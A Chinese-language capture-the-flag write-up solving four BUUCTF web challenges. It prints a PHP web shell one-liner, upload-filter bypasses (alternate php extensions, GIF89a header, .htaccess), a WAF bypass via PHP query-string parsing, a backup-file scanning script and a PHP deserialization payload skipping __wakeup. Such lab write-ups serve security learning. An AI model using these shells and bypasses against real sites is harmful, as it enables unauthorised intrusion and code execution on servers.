[极客大挑战 2019]Upload;[RoarCTF 2019]Easy Calc;[ACTF2020 新生赛]Upload;[极客大挑战 2019]PHP
[极客大挑战 2019]Upload
先更改为图片的类型,将content-type
改为image/jpg
不能为php
,可改成phtml
,php2
,php3
,php4
,php5
,php6
,php7
,pht
,phtm
,phtml
等,都会被解析成php
过滤了<?
,?>
,可用另一种书写方式
<script language="php">eval($_POST['shell']);</script>
没有图片文件开头的标识GIF89aX
,添加上去,上传成功
连接菜刀,得到flag
从上面可知,只过滤了php后缀,所以还可以上传.htaccess
配置文件,更改文件后缀的关联属性
再上传一个1.aa
连接到shell,但是看不了文件,我也不知道为什么
[RoarCTF 2019]Easy Calc
提示有waf,并且存在calc.php页面
calc.php过滤了相关符号
waf过滤了字母
利用 php字符串解析特性,它解析字符串时,会将一些字符转换为下划线,或者删除
如http://node4.buuoj.cn:29995/calc.php? num=a
,在num前加空格,waf会认为’ nmu’这不是字母,因为它前面有空格,而php会将前面的空格删掉,‘ num’就等同与‘num’,故绕过了waf也执行了函数
过滤/
,所以使用ascii码进行命令执行,发现没有执行
换成php的输出和查看目录的函数print_r
与var_dump
都行
然后查看内容readfile
与file_get_contents
都行
[ACTF2020 新生赛]Upload
上传时抓包,发现抓不了,并弹出提示,说js限制了上传的后缀,所以关闭js再抓包
之后上传图片,改为php后缀,被拦截
但改为asp,上传成功,多半只有php是黑名单
故可以将后缀改为phtml,添加一句话木马,成功上传
得到flag
[极客大挑战 2019]PHP
扫描备份文件
import requests
import time
url='http://3779d591-9cc0-48af-8a72-b0f3463ee1d5.node4.buuoj.cn:81/'
with open('beifen.txt') as f:
for i in f:
ii = i.replace('\n', '')
urls=url+ii
#time.sleep(1)
data=requests.get(urls).status_code
if data==200:
print(urls)
得到备份文件
http://3779d591-9cc0-48af-8a72-b0f3463ee1d5.node4.buuoj.cn:81/www.zip
解压得到关键文件index.php
,class.php
通过index.php传入参数
class.php进行反序列化操作
payload的username需等于admin,password需等于100,
但要绕过__wakeup
,故将代表变量个数的数字改成比真实值大,就不会执行__wakeup;
因为private为私有变量,需在Nameusername中加%00
,变为%00Name%00username
故payload为?select=O:4:"Name":4:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}